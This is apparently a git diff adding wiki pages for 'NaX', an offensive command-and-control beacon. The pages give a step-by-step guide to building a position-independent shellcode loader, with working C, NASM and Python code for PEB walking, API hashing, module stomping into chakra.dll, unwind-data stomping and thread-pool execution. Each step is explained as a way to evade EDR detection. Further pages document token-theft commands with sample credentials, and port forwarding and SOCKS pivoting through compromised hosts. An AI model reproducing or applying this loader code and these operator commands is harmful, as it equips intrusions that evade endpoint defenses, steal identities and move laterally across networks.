configuration. + +### Execution Transfer + +After the beacon is placed in its final memory location, the loader starts execution on a new thread. + +**Thread Pool (NAX_EXEC_MODE=1, default):** + +```c +FUNC VOID NaxExecThreadPool( PVOID Entry ) { + STARDUST_INSTANCE + + PTP_WORK Work = NULL; + TpAllocWork( &Work, (PTP_WORK_CALLBACK)Entry, NULL, NULL ); + TpPostWork( Work ); + TpReleaseWork( Work ); +} +``` + +The beacon runs as a thread pool work item. The worker thread's start address is `ntdll!TppWorkerThread`, not the beacon entry point - this is much harder for EDRs to flag via thread start-address scanning. + +**CreateThread (NAX_EXEC_MODE=0, fallback):** + +```c +FUNC VOID NaxExecThread( PVOID Entry ) { + STARDUST_INSTANCE + CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)Entry, NULL, 0, NULL ); +} +``` + +Clean stack (`RtlUserThreadStart` -> `BaseThreadInitThunk` -> beacon), but the thread start address points directly at the beacon - visible to any thread enumeration. + +Both paths have a direct-call fallback: if the thread/work allocation fails, the loader calls the beacon entry directly on the current thread. + +## Build System + +### Toolchain + +| Tool | Purpose | +|------|---------| +| `x86_64-w64-mingw32-g++` | Cross-compile C as C++ (enables `constexpr` hashing) | +| `nasm` | Assemble Entry.asm (NASM syntax, `win64` output format) | +| `objcopy` | Extract `.text` section from the linked PE | + +### Compiler Flags + +```makefile +CFLAGS := -Os # Optimize for size + -fno-asynchronous-unwind-tables # No .eh_frame (we provide our own .pdata) + -nostdlib # No C runtime + -fno-ident # No compiler ident strings + -fpack-struct=8 # Match Win64 struct packing + -falign-functions=1 # No inter-function padding + -s # Strip symbols + -ffunction-sections # Each function in its own section + -falign-jumps=1 -falign-labels=1 # No jump/label padding + -fPIC # Position-independent code + -Wl,-s,--no-seh,--enable-stdcall-fixup + -Iinclude # Header search path + -masm=intel # Intel assembly syntax in inline asm + -fpermissive # Allow C++ type coercions + -mno-sse # No SSE instructions (avoid xmm alignment issues) + -fno-exceptions # No C++ exception handling + -fno-builtin # No built-in function substitutions + -DNAX_STOMP_MODE=$(NAX_STOMP_MODE) # Technique selection + -DNAX_EXEC_MODE=$(NAX_EXEC_MODE) +``` + +Key flags to understand: +- `-nostdlib` prevents any CRT startup code from being linked in +- `-fno-asynchronous-unwind-tables` prevents `.eh_frame` generation (which would be a second section) +- `-falign-functions=1` eliminates NOP padding between functions that would waste space +- `-fno-builtin` prevents the compiler from replacing `memcpy` patterns with CRT calls +- `-masm=intel` is critical: without it, inline assembly uses AT&T syntax and operand order is reversed + +### Build Pipeline + +``` +1. NASM compiles Stardust.asm -> asm_Stardust.x64.o + (produces .text$A and .text$E object sections) + +2. g++ compiles each .c file -> nax_*.x64.o + (each function lands in .text$B via the FUNC attribute) + +3. g++ links all objects with -Tscripts/Linker.ld -> nax_loader.x64.exe + (Linker.ld merges everything into a single .text section, ordered A/B/rdata/data/E) + +4. objcopy --dump-section .text=nax_loader.x64.bin nax_loader.x64.exe + (extracts the raw .text bytes - this is the loader shellcode) +``` + +The final `nax_loader.x64.bin` is pure position-independent shellcode: just the `.text` bytes, no PE headers, no imports, no relocations. + +### Packing (pack_nax.py) + +The top-level `scripts/pack_nax.py` combines the loader with the beacon: + +``` +python3 pack_nax.py \ + --loader src_loader/bin/nax_loader.x64.bin \ + --beacon src_beacon/build/http/beacon.x64.bin \ + --pdata src_beacon/build/http/beacon.pdata.bin \ + --xdata src_beacon/build/http/beacon.xdata.bin \ + --text-rva src_beacon/build/http/beacon.text_rva \ + --stomp-dll chakra.dll \ + --module-stomp --stomp-pdata \ + --output build/nax.x64.bin +``` + +The script: +1. Reads all binary components +2. Normalizes `.pdata` RUNTIME_FUNCTION entries to 0-based offsets (subtracts the beacon's `.text` RVA from BeginAddress/EndAddress and `.xdata` RVA from UnwindData) +3. Builds an Entry.asm RUNTIME_FUNCTION + UNWIND_INFO and prepends it to pdata/xdata +4. Constructs the 160-byte NaxHeader v2 +5. Concatenates: `loader + header + beacon + pdata + xdata` +6. Writes the combined binary + +The normalization step is important: the beacon's `.pdata` references are compiled with absolute RVAs from the beacon PE, but after stomping they need to reference the DLL's address space. The loader's `NaxModuleStomp` adds the DLL's `.text` RVA and `.pdata` RVA at runtime. + +## Writing Your Own Loader from Scratch + +This section walks through building a Stardust-based UDRL from zero that can load the NaX beacon. Each step corresponds to a ZPS course concept. Start simple, get each stage working, then add complexity. + +### Step 1: Assembly Entry Point + +Create your NASM entry file. This is the minimum: + +```nasm +[BITS 64] +DEFAULT REL + +EXTERN PreMain +GLOBAL Start +GLOBAL StRipStart +GLOBAL StRipEnd + +[SECTION .text$A] + + Start: + push rsi + mov rsi, rsp + and rsp, 0FFFFFFFFFFFFFFF0h + sub rsp, 020h + call PreMain + mov rsp, rsi + pop rsi + ret + + StRipStart: + call .rip_ptr + ret + .rip_ptr: + mov rax, [rsp] + sub rax, 0x1b ; offset from Start to this return address + ret + +[SECTION .text$E] + + StRipEnd: + call .end_ptr + ret + .end_ptr: + mov rax, [rsp] + add rax, 0x0b ; size of this section from return addr to end + ret + nop ; pad to 16 bytes (prevents alignment gap) +``` + +The `0x1b` and `0x0b` constants are byte-counted from the assembled instructions. If you change the entry stub code, you must recalculate these offsets. Get this wrong and the loader will compute the wrong base address or wrong end address, causing the header parse to read garbage. + +Verify with: assemble, disassemble, count bytes from `Start` to the `call .rip_ptr` return address. + +### Step 2: PEB Walk and Module Resolution + +Before you can call any Win32 API, you need to find the DLLs in memory. Every Windows process has ntdll.dll and kernel32.dll loaded. The PEB's `Ldr->InLoadOrderModuleList` is a doubly-linked list of `LDR_DATA_TABLE_ENTRY` structs. + +Write `LdrModulePeb`: + +```c +FUNC PVOID LdrModulePeb( ULONG Hash ) { + PLDR_DATA_TABLE_ENTRY Data = { 0 }; + PLIST_ENTRY Head = &NtCurrentPeb()->Ldr->InLoadOrderModuleList; + PLIST_ENTRY Entry = Head->Flink; + + for ( ; Head != Entry; Entry = Entry->Flink ) { + Data = C_PTR( Entry ); + if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) + return Data->DllBase; + } + return NULL; +} +``` + +You will also need `HashString` - the runtime hashing function. NaX uses FNV1a with seed 0x811c9dc5 and prime 0x01000193, case-insensitive. The wide-string mode (when `Length > 0`) iterates byte-by-byte through the `UNICODE_STRING` buffer, including the null bytes between WCHAR halves. + +Compute your module hashes in Python: + +```python +def fnv1a_hash(s, wide=False): + h = 0x811c9dc5 + if wide: + data = s.encode('utf-16-le') + else: + data = s.upper().encode('ascii') + i = 0 + while i < len(data): + c = data[i] + if wide and c == 0: + h = (h * 0x01000193) & 0xFFFFFFFF + i += 2 # skip null + advance + continue + if c >= ord('a'): + c -= 0x20 + h ^= c + h = (h * 0x01000193) & 0xFFFFFFFF + i += 1 + return h + +# Module hashes (wide string) +print(hex(fnv1a_hash("ntdll.dll", wide=True))) # 0x318a7963 +print(hex(fnv1a_hash("kernel32.dll", wide=True))) # 0x04a1a06a +``` + +### Step 3: TLS Egghunter for Global State + +Allocate consecutive TLS slots and store the INSTANCE pointer: + +1. Call `TlsAlloc()` in a loop (up to ~20 times) +2. Check if the current slot index equals the previous slot index + 1 +3. When a consecutive pair is found, store `NtCurrentPeb()` in slot N and the INSTANCE pointer in slot N+1 +4. Free all non-consecutive slots you allocated during the search + +This is the most error-prone part of the loader. Common mistakes: + +- Forgetting to free non-consecutive slots (TLS slot leak) +- Not handling `TLS_OUT_OF_INDEXES` (all 64 static slots in use) +- Assuming slots start at 0 (they start at whatever Windows gives you) +- Searching past slot 63 in the retrieval code (TlsSlots array is 64 entries, indices 0-63) + +### Step 4: Build the INSTANCE Struct + +Define your INSTANCE with `D_API` for every API you will resolve: + +```c +#define D_API( x ) __typeof__( x ) * x; + +typedef struct _INSTANCE { + BUFFER Base; + + struct { + D_API( RtlAllocateHeap ) + D_API( VirtualProtect ) + // ... add more as needed + } Win32; + + struct { + PVOID Ntdll; + PVOID Kernel32; + } Modules; +} INSTANCE; +``` + +Keep it minimal at first. Only add APIs you actually need for the current step. + +### Step 5: Export Table Walk with Forwarding + +`LdrFunction` walks a module's PE export directory: + +``` +1. Validate DOS + NT signature +2. Find IMAGE_EXPORT_DIRECTORY from DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] +3. Iterate AddressOfNames[0..NumberOfNames]: + a. Hash the name, compare to target + b. On match: ordinal = AddressOfNameOrdinals[i] + address = base + AddressOfFunctions[ordinal] +4. Check if address falls inside the export directory (forwarded export) + - Yes: parse "MODULE.Function" string, resolve recursively + - No: return address +``` + +Forwarded export handling is non-optional. `VirtualAlloc` in kernel32.dll forwards to `KERNELBASE.VirtualAlloc` on modern Windows. If your loader does not handle forwarding, API resolution will return a pointer to the forwarding string instead of the actual function - calling it will crash. + +The forwarding resolution in NaX (`LdrpFwdResolve`): + +1. Find the `.` in `"KERNELBASE.VirtualAlloc"` +2. Build wide string `L"KERNELBASE.dll"` +3. `LdrModulePeb(hash_of_wide_string)` to find the target module +4. `LdrFunction(target_module, hash_of_function_name)` to resolve the function + +### Step 6: Parse NaxHeader v2 + +After resolving APIs, locate the header and extract fields: + +```c +PVOID hdr = LOADER_END(); // = Base.Buffer + Base.Length + +ULONG magic = HDR_U32( hdr, 0 ); // should be 0x4E415832 +ULONG beacon_size = HDR_U32( hdr, 4 ); +ULONG pdata_size = HDR_U32( hdr, 8 ); +ULONG xdata_size = HDR_U32( hdr, 12 ); +ULONG text_rva = HDR_U32( hdr, 16 ); +ULONG flags = HDR_U32( hdr, 20 ); +PWCHAR dll_name = HDR_WSTR( hdr, 24 ); + +PVOID beacon_src = C_PTR( U_PTR(hdr) + 160 ); // NAX_HDR_SIZE +PVOID pdata_src = C_PTR( U_PTR(beacon_src) + beacon_size ); +PVOID xdata_src = C_PTR( U_PTR(pdata_src) + pdata_size ); +``` + +Always validate: +- `magic == 0x4E415832` (or handle v1 fallback) +- `beacon_size > 0 && beacon_size <= 512 * 1024` (sanity bound) + +### Step 7: VirtualAlloc Execution (Simplest Path) + +Start with the simplest allocation strategy. Get this working before attempting module stomping. + +```c +// 1. Allocate RW pages (page-aligned size) +SIZE_T alloc_size = (beacon_size + 0xFFF) & ~(SIZE_T)0xFFF; +PVOID exec_buf = NULL; +NtAllocateVirtualMemory( NtCurrentProcess(), &exec_buf, 0, + &alloc_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); + +// 2. Copy beacon bytes +MmCopy( exec_buf, beacon_src, beacon_size ); + +// 3. Flip to RX +ULONG old_prot = 0; +VirtualProtect( exec_buf, alloc_size, PAGE_EXECUTE_READ, &old_prot ); + +// 4. Execute +((VOID (*)(VOID))exec_buf)(); +``` + +The RW-then-RX pattern avoids having executable+writable pages at any point - important for CIG (Code Integrity Guard) compatible processes, and a generally good practice. + +### Step 8: Module Stomping + +Once VirtualAlloc works, upgrade to module stomping: + +1. Choose a sacrificial DLL with a large `.text` section (the default is `chakra.dll`) +2. Load it with `DONT_RESOLVE_DLL_REFERENCES` - this prevents DllMain from running and avoids resolving the DLL's own imports +3. Parse the loaded DLL's PE headers, find its `.text` section +4. Verify `.text` is large enough for the beacon +5. `VirtualProtect` the `.text` to RW, copy beacon, flip back to RX +6. Patch the LDR entry to look like a normally loaded DLL + +```c +// Load without initialization +PVOID DllBase = LoadLibraryExW( dll_name, NULL, DONT_RESOLVE_DLL_REFERENCES ); + +// Find .text section +PIMAGE_NT_HEADERS Nt = NaxPeHeaders( DllBase ); +PIMAGE_SECTION_HEADER TextSec = NaxFindSection( Nt, IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE ); + +// Verify size +if ( TextSec->SizeOfRawData < beacon_size ) return NULL; // DLL too small + +PVOID TextBase = (PVOID)( (ULONG_PTR)DllBase + TextSec->VirtualAddress ); + +// Stomp +VirtualProtect( TextBase, TextSec->SizeOfRawData, PAGE_READWRITE, &old ); +MmCopy( TextBase, beacon_src, beacon_size ); +VirtualProtect( TextBase, TextSec->SizeOfRawData, PAGE_EXECUTE_READ, &old ); +``` + +Do not skip `NaxPatchLdr`. Without it, the DLL's LDR entry will have a NULL `EntryPoint` and will not have the `LDRP_ENTRY_PROCESSED` flag. Some EDR modules and the Windows loader itself check these fields - a loaded DLL without `LDRP_ENTRY_PROCESSED` is suspicious. + +### Step 9: .pdata/.xdata Unwind Stomping + +On x64 Windows, structured exception handling and stack unwinding rely on `.pdata` (RUNTIME_FUNCTION entries) and `.xdata` (UNWIND_INFO structures). If your beacon has proper unwind data but runs in a DLL whose `.pdata` describes different functions, stack walks will produce nonsensical results - a detection signal. + +The fix: stomp the DLL's `.pdata` section with the beacon's unwind data, adjusting RVAs to match the DLL's address space. + +``` +For each RUNTIME_FUNCTION entry: + BeginAddress += DllTextRva (beacon offset -> DLL .text RVA) + EndAddress += DllTextRva + UnwindData += PdataRva + PdataSize (beacon xdata offset -> DLL .pdata offset) +``` + +Then update the PE header's `DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]` to point to the new `.pdata` location and size. + +The `pack_nax.py` script normalizes all addresses to 0-based offsets at pack time. The loader adds the DLL's RVAs at runtime. This separation means the same packed binary works with any sacrificial DLL. + +### Step 10: Thread Pool Execution Transfer + +Replace the direct `((VOID(*)(VOID))entry)()` call with a thread pool work item: + +```c +PTP_WORK Work = NULL; +TpAllocWork( &Work, (PTP_WORK_CALLBACK)entry, NULL, NULL ); +TpPostWork( Work ); +TpReleaseWork( Work ); +``` + +The beacon runs on a thread pool worker thread. Its start address (visible in `NtQueryInformationThread`) is `ntdll!TppWorkerThread` - a completely normal start address for any process that uses the Windows thread pool. + +Note: `TpAllocWork`, `TpPostWork`, and `TpReleaseWork` are ntdll functions, not kernel32. Resolve them from ntdll. + +### Step 11: Remove Build Padding + +The stock Stardust `build.py` pads the extracted shellcode to page alignment: + +```python +# build.py (stock Stardust) +pages = size_to_pages(size) +padding = (pages * PAGE_SIZE) - size +for i in range(padding): + shellcode.append(0) +``` + +NaX does **not** use `build.py`. Instead it uses `objcopy --dump-section .text` which extracts the exact `.text` bytes with no padding. This is critical because the NaxHeader must start immediately after the loader bytes - any padding between the loader and header will cause the header magic check to fail. + +If you are adapting stock Stardust, you have two options: + +1. **Use `pack_nax.py`** (recommended) - it automatically strips page-padding from any loader before packing. Use `--legacy` for stock Stardust (v1 format with 4-byte beacon_size header) or omit it for the full NaxHeader v2 format: + ```bash + # Stock Stardust loader (v1 format) + python3 scripts/pack_nax.py --loader stardust.x64.bin --beacon beacon.x64.bin --output out.bin --legacy + + # NaX loader (v2 format with module stomping) + python3 scripts/pack_nax.py --loader nax_loader.x64.bin --beacon beacon.x64.bin --output out.bin --module-stomp + ``` + +2. **Edit `build.py`** - comment out the page-alignment padding. The `ALIGN(0x1000)` directive in `Linker.ld` pads between internal sections, not at the end, so removing the Python-side padding is safe. + +You must also fix `Main.c` to use `Instance()->Base.Buffer + Instance()->Base.Length` instead of calling `StRipEnd()` directly - see the [stock Stardust PoC](#using-stock-stardust-as-a-loader-minimal-poc) section for the full explanation. + +## PIC Rules Reference + +These rules apply to both the loader and the beacon. Violating any of them will produce a binary that crashes or contains detectable artifacts. + +| Rule | Rationale | +|------|-----------| +| No string literals | String literals go in `.rdata`, which is a separate section that gets stripped. Use `char` arrays initialized on the stack or byte-by-byte `MOV` macros. | +| No CRT calls | `memcpy`, `strlen`, `printf` all require the C runtime, which is not linked. Use `MmCopy` (`__builtin_memcpy`), `MmSet` (`__stosb`), `MmZero` (`RtlSecureZeroMemory`). | +| No global variables | Global variables go in `.data` or `.bss`. All state goes through the INSTANCE struct. | +| All APIs via function pointers | No `__declspec(dllimport)`. Every Win32 call goes through a resolved pointer in `Instance()->Win32`. | +| No SSE instructions | SSE requires 16-byte aligned stack which may not be guaranteed in all execution contexts. Compile with `-mno-sse`. | +| No exceptions | C++ exception tables go in `.xdata`/`.pdata` sections. Compile with `-fno-exceptions`. | +| `make clean && make` after header changes | The `-MMD -MP` flags generate dependency files, but changes to conditional compilation defines (like `NAX_STOMP_MODE`) are not tracked. Always clean-build after changing defines or headers. | + +## Debugging Tips + +**Use the stomper.exe test harness.** It loads `nax.x64.bin` into RWX memory and calls it on a new thread. Attach a debugger before pressing Enter. + +``` +x64dbg: bp on Start address (offset 0x0 of the loaded shellcode) +WinDbg: .load sos; bp +``` + +**Common failure points and how to diagnose them:** + +| Symptom | Likely Cause | How to Check | +|---------|-------------|--------------| +| Crash in `PreMain` before TLS | PEB walk failed: ntdll or kernel32 not found | Verify hash constants match your hash function. Hash `L"ntdll.dll"` (wide, 18 bytes) and compare to `H_MODULE_NTDLL`. | +| Crash at `RESOLVE(...)` in Main | Forwarded export not handled | Set breakpoint on `LdrFunction`. If it returns an address inside the export directory, forwarding is needed. | +| Beacon reads garbage from header | `StRipEnd()` returning wrong value | Disassemble `.text$E`. Count bytes. Verify the `add rax, 0x0b` matches the actual section size. Also check for page-alignment padding in the extracted blob. | +| Beacon crashes immediately | Wrong `beacon_src` pointer | Print `hdr`, `beacon_src`, verify `HDR_U32(hdr, 0)` == `0x4E415832`. If the magic is wrong, the header is not where the loader thinks it is. | +| Thread pool callback crashes | Entry point not executable | Verify `VirtualProtect` succeeded (check return value). In module stomp mode, verify `TextSec->SizeOfRawData >= BeaconSize`. | +| Stack walks show bad frames | `.pdata` not stomped or RVAs wrong | Check the RUNTIME_FUNCTION entries after stomping. `BeginAddress` should be `DllTextRva + 0`, not the beacon's original `.text` RVA. | + +**Print debugging in PIC:** You cannot use `printf`. If you temporarily need debug output, resolve `OutputDebugStringA` from kernel32 and call it with stack-allocated char arrays. Remove before production. + +## Test Harnesses + +Two test launchers are included in `src_loader/scripts/`: + +**loader.c** - The simplest possible launcher. Reads a file into memory, `VirtualAlloc` + `memcpy` + `VirtualProtect(RX)`, then calls the shellcode as a function pointer. Use this to test the raw loader shellcode (`nax_loader.x64.bin`) without the beacon attached. + +```bash +x86_64-w64-mingw32-gcc scripts/loader.c -o scripts/loader.x64.exe -lkernel32 +# On target: +loader.x64.exe nax_loader.x64.bin +``` + +**stomper.c** - Loads the combined `nax.x64.bin` (loader + header + beacon), allocates RWX, and creates a thread. Pauses before execution so you can attach a debugger. + +```bash +x86_64-w64-mingw32-gcc scripts/stomper.c -o scripts/stomper.exe -lkernel32 +# On target: +stomper.exe build\nax.x64.bin +# Attach debugger, press Enter to execute +``` + +Compile both with MinGW on Linux and transfer to a Windows VM for testing. Use x64dbg or WinDbg for step-through debugging of the loader execution. diff --git a/wiki/Token-Commands.md b/wiki/Token-Commands.md new file mode 100644 index 0000000..af516b1 --- /dev/null +++ b/wiki/Token-Commands.md @@ -0,0 +1,221 @@ +# Token Commands + +NaX supports Windows access token manipulation for impersonation, privilege escalation, and lateral movement. Eight commands cover the full token lifecycle: query identity, steal tokens from processes, impersonate, create tokens from credentials, and manage the token store. + +--- + +## Architecture + +### Token Store + +The beacon maintains an in-memory linked list of stolen/created tokens (`NAX_TOKEN_NODE`). Each entry holds the token handle, a numeric ID, and the resolved `DOMAIN\user` string. The store persists across heartbeats until explicitly cleared. + +### Impersonation Model + +When a token is activated (via `token steal` with auto-impersonate, `token use`, or `token make`), the beacon calls `ImpersonateLoggedOnUser` on its main thread. All subsequent operations (file I/O, network access, process creation) run under the impersonated identity. The Adaptix console header updates to show the impersonated user with a `*` prefix. + +### Command IDs + +Each token operation has its own command ID (Adaptix pattern), not a single command with sub-command dispatch: + +| Command | ID | Description | +|---------|----|-------------| +| `token getuid` | `0x50` | Current identity (process or impersonated) | +| `token steal` | `0x51` | Duplicate token from a running process | +| `token use` | `0x52` | Impersonate a stored token by ID | +| `token list` | `0x53` | List all tokens in the store | +| `token rm` | `0x54` | Remove a token from the store | +| `token revert` | `0x55` | Drop impersonation, revert to process token | +| `token make` | `0x56` | Create token from credentials (LogonUserA) | +| `token privs` | `0x57` | List privileges on the current token | + +--- + +## Commands + +### token getuid + +Return the current effective identity. If impersonating, returns the impersonated user; otherwise returns the process token user. + +``` +token getuid +``` + +**Result:** `DOMAIN\username` with an elevated flag (`Yes`/`No`). + +**Implementation detail:** Uses `OpenThreadToken(..., OpenAsSelf=TRUE)` to avoid `ERROR_ACCESS_DENIED` when impersonating a non-admin user. Falls back to `OpenProcessToken` if no thread token exists. + +### token steal + +Duplicate a token from a target process and optionally impersonate it immediately. + +``` +token steal [impersonate] +``` + +| Argument | Description | +|----------|-------------| +| `pid` | Target process ID | +| `impersonate` | If present (any value), auto-impersonate the stolen token | + +``` +token steal 4832 +token steal 4832 true +``` + +Opens the process with `PROCESS_QUERY_INFORMATION`, duplicates the token with `TOKEN_ALL_ACCESS`, resolves the token's user/domain via `GetTokenInformation`, and stores it. If `impersonate` is set, calls `ImpersonateLoggedOnUser` and updates the console header. + +### token use + +Impersonate a previously stored token by its numeric ID. + +``` +token use +``` + +``` +token use 1 +token use 3 +``` + +Looks up the token in the store, calls `ImpersonateLoggedOnUser`, and updates the console header with the token's `DOMAIN\user`. + +### token list + +List all tokens currently in the store. + +``` +token list +``` + +Output is a table with columns: ID, Handle, User, Domain. + +### token rm + +Remove a token from the store and close its handle. + +``` +token rm +``` + +``` +token rm 2 +``` + +If the removed token was the currently impersonated one, impersonation is NOT automatically reverted -- use `token revert` separately. + +### token revert + +Drop impersonation and revert to the process token. + +``` +token revert +``` + +Calls `RevertToSelf()` and clears the console header's impersonation indicator. + +### token make + +Create a new token from plaintext credentials using `LogonUserA`. Supports multiple logon types for different use cases. + +``` +token make [-t ] +``` + +| Argument | Description | +|----------|-------------| +| `-t ` | Logon type (optional, default: `new_credentials`) | +| `domain` | Target domain (e.g., `CORP`, `sevenkingdoms.local`, `.` for local) | +| `username` | Account username | +| `password` | Account password | + +#### Logon Types + +| Type | Value | Behavior | +|------|-------|----------| +| `interactive` | 2 | Full logon. Token SID shows the actual user. Local and network access as the target user. Requires the password to be valid. | +| `network` | 3 | Network logon. Token valid for network resources only. | +| `network_cleartext` | 8 | Like network but credentials available for delegation. Useful for Kerberos double-hop. | +| `new_credentials` | 9 | (Default) Network-only credentials. Token SID remains the caller's identity locally, but network access uses the supplied credentials. Does NOT validate the password locally. | + +``` +token make sevenkingdoms.local cersei.lannister il0vejaime +token make -t interactive CORP admin P@ssw0rd! +token make -t network_cleartext . svc_account SecretPass +``` + +**Type 9 vs Type 2:** With `new_credentials` (default), `token getuid` still shows the original user because the token SID isn't changed -- only outbound network authentication uses the new credentials. Use `-t interactive` when you need the token to fully reflect the target identity. + +### token privs + +List all privileges on the current effective token (thread token if impersonating, process token otherwise). + +``` +token privs +``` + +Output is a table with columns: Privilege Name, Status (Enabled/Disabled). + +Uses `OpenThreadToken(..., OpenAsSelf=TRUE)` like `token getuid` for the same access-check safety. + +--- + +## Console Header + +When impersonation is active, the Adaptix console header shows the impersonated identity with a `*` prefix: + +``` +*SEVENKINGDOMS\cersei.lannister +``` + +This is updated via `TsAgentUpdateDataPartial` with the `Impersonated` field. Commands that set impersonation (`token steal` with impersonate flag, `token use`, `token make`) set the header. `token revert` clears it. + +--- + +## Wire Format + +### Task (server -> beacon) + +All token commands use the standard task frame: `cmdId(1) | taskId(4) | args(variable)`. + +| Command | Args format | +|---------|-------------| +| `token getuid` | (none) | +| `token steal` | `pid(4LE) \| impersonate(1)` | +| `token use` | `tokenId(4LE)` | +| `token list` | (none) | +| `token rm` | `tokenId(4LE)` | +| `token revert` | (none) | +| `token make` | `logonType(4LE) \| domainLen(4LE) \| domain \| userLen(4LE) \| user \| passLen(4LE) \| pass` | +| `token privs` | (none) | + +### Result (beacon -> server) + +| Command | Success data | +|---------|-------------| +| `token getuid` | `userLen(4LE) \| user \| domainLen(4LE) \| domain \| elevated(1)` | +| `token steal` | `tokenId(4LE) \| userLen(4LE) \| user \| domainLen(4LE) \| domain \| impersonate(1)` | +| `token use` | `userLen(4LE) \| user \| domainLen(4LE) \| domain` | +| `token list` | `count(4LE) \| [tokenId(4LE) \| handle(8LE) \| userLen(4LE) \| user \| domainLen(4LE) \| domain] * count` | +| `token rm` | (empty) | +| `token revert` | (empty) | +| `token make` | `tokenId(4LE) \| userLen(4LE) \| user \| domainLen(4LE) \| domain` | +| `token privs` | `count(4LE) \| [nameLen(4LE) \| name \| status(4LE)] * count` | + +On error (`status=0x01`), all token commands return the Win32 error code as `errorCode(4LE)` in the result data. + +--- + +## Files + +| File | Role | +|------|------| +| `src_beacon/include/Wire.h` | `NAX_CMD_TOKEN_GETUID` through `NAX_CMD_TOKEN_PRIVS` (0x50-0x57) | +| `src_beacon/include/Nax.h` | Forward declarations for all 8 `CmdToken*` functions | +| `src_beacon/src/Commands/Token.c` | Beacon-side implementations | +| `src_beacon/src/Commands/Dispatch.c` | 8 separate `case` entries routing to each handler | +| `src_server/agent_nonameax/pl_main.go` | `CMD_TOKEN_*` Go constants | +| `src_server/agent_nonameax/pl_commands.go` | Command packing (args -> wire format) | +| `src_server/agent_nonameax/pl_format.go` | Result decoders (`decodeTokenGetUidResult`, etc.) | +| `src_server/agent_nonameax/pl_results.go` | Result processing + console header updates | +| `src_server/agent_nonameax/ax_config.axs` | AxScript command registration + UI | diff --git a/wiki/Tunneling.md b/wiki/Tunneling.md new file mode 100644 index 0000000..6bd83f8 --- /dev/null +++ b/wiki/Tunneling.md @@ -0,0 +1,135 @@ +# Tunneling + +NaX supports TCP tunneling through the Adaptix tunnel system: local port forwarding (lportfwd) and reverse port forwarding (rportfwd). Tunnels work on both HTTP and SMB transports. + +## Data Flow + +### Local Port Forward (lportfwd) + +``` +Operator tool -> server:lport -> Adaptix -> CONNECT_TCP task + -> beacon connects to target:tport + -> bidirectional relay: WRITE_TCP <-> recv each heartbeat +``` + +The teamserver listens on a local port. When a client connects, Adaptix sends a `CONNECT_TCP` command to the beacon with the target address and port. The beacon creates a non-blocking TCP socket, connects to the target, and relays data bidirectionally. + +### Reverse Port Forward (rportfwd) + +``` +Adaptix -> REVERSE task -> beacon bind(127.0.0.1, port) + listen() + -> remote client connects -> ACCEPT(tunnelId, newChannelId) + -> Adaptix connects to operator-specified target + -> bidirectional relay +``` + +The beacon binds a listening socket on loopback. When a remote client connects, the beacon accepts the connection and notifies Adaptix via an ACCEPT entry. Adaptix then connects to the operator-specified destination and starts the relay. + +## Wire Protocol + +Tunnel commands use CmdIds `0x3E`--`0x46`, delivered as `TASK_TYPE_PROXY_DATA` tasks. See [Wire Protocol](Wire-Protocol.md) for the full format. + +Tunnel results are sent as a RESULT frame with `TaskId=0`, `Status=0x20` (STATUS_TUNNEL). The body contains concatenated entries, each prefixed with `entryLen(4LE) | cmdId(4LE)`. + +## Beacon Implementation + +All tunnel logic lives in `src_beacon/src/Commands/Tunnel.c`. + +### NAX_TUNNEL Struct + +Each tunnel channel is tracked by a `NAX_TUNNEL` node in a singly-linked list headed by `Nax->TunnelHead`: + +| Field | Purpose | +|-------|---------| +| `ChannelId` | Unique channel ID assigned by the server | +| `Sock` | Winsock SOCKET handle | +| `State` | CLOSE=0, READY=1, CONNECT=2 | +| `Mode` | TCP=0, REVERSE=2 | +| `WriteBuf` / `WriteBufSize` | Pending outbound data buffer | +| `Paused` | We sent PAUSE to the server (output buffer full) | +| `SrvPaused` | Server sent PAUSE to us | + +### NaxProcessTunnels Pipeline + +Called once per heartbeat iteration. Four phases: + +1. **Check** -- `select()` with `tv=0` (instant poll). Connecting sockets checked via writefds; on success transition to READY, on timeout or error transition to CLOSE. Reverse listeners checked via readfds; `accept()` new connections and generate ACCEPT entries. + +2. **Flush** -- Attempt `send()` on READY sockets with buffered write data. If the buffer drops below LOW_WATERMARK (1MB) and we previously sent PAUSE, send RESUME. + +3. **Recv** -- Read from READY sockets: up to 16 reads per socket, 4MB total output cap, 2.5-second time budget. Data is packed directly into WRITE_TCP entries in the output buffer. If total output exceeds HIGH_WATERMARK (4MB), send PAUSE to the server. + +4. **Cleanup** -- Channels in CLOSE state go through a 3-tick lifecycle: mark for drain, `shutdown(SD_BOTH)`, then `closesocket()` + free + remove from list. + +### Flow Control + +| Threshold | Value | Action | +|-----------|-------|--------| +| HIGH_WATERMARK | 4MB | Send PAUSE to server | +| LOW_WATERMARK | 1MB | Send RESUME to server | +| HARD_CAP | 16MB | Force close the channel | + +## Server Plugin + +The Go plugin (`src_server/agent_nonameax/pl_tunnels.go`) implements the Adaptix `TunnelCallbacks` interface: + +- **8 callback functions** build NaX wire-format task data for each tunnel operation +- **`processTunnelResult()`** parses the concatenated entry format and calls Adaptix APIs (`TsTunnelConnectionResume`, `TsTunnelConnectionData`, `TsTunnelConnectionClose`, `TsTunnelConnectionAccept`, `TsTunnelPause`, `TsTunnelResume`, `TsTunnelUpdateRportfwd`) + +UDP callbacks (`ConnectUDP`, `WriteUDP`) return empty TaskData (no-op). + +## Transport Differences + +### HTTP Beacon + +Tunnel results are sent via HTTP POST in a separate request after the heartbeat. The heartbeat loop processes tunnels every iteration. + +### SMB Beacon (Linked) + +Tunnel results are sent through the parent agent's named pipe via `SmbPipeWrite`. The `WaitForMultipleObjects` timeout is capped to 100ms when tunnels are active, ensuring socket polling even at sleep 0. Heartbeat frames are suppressed during tunnel-only poll wakeups to reduce pipe traffic. + +The parent HTTP agent relays tunnel data alongside regular pivot traffic. After delivering tasks to the child pipe, the parent's `NaxProcessPivots` drops its read timeout from 2 seconds to 100ms after receiving the first response, keeping round-trip latency low. + +## SOCKS Proxy + +SOCKS4 and SOCKS5 (with optional username/password auth) are supported via the `socks start` command. The Adaptix server handles all SOCKS protocol negotiation - the beacon receives the same `CONNECT_TCP` commands used by lportfwd. No beacon-side SOCKS parsing is needed. + +``` +socks start [-h
] [-socks4] [-auth ] +socks stop +``` + +| Argument | Description | +|----------|-------------| +| `-h
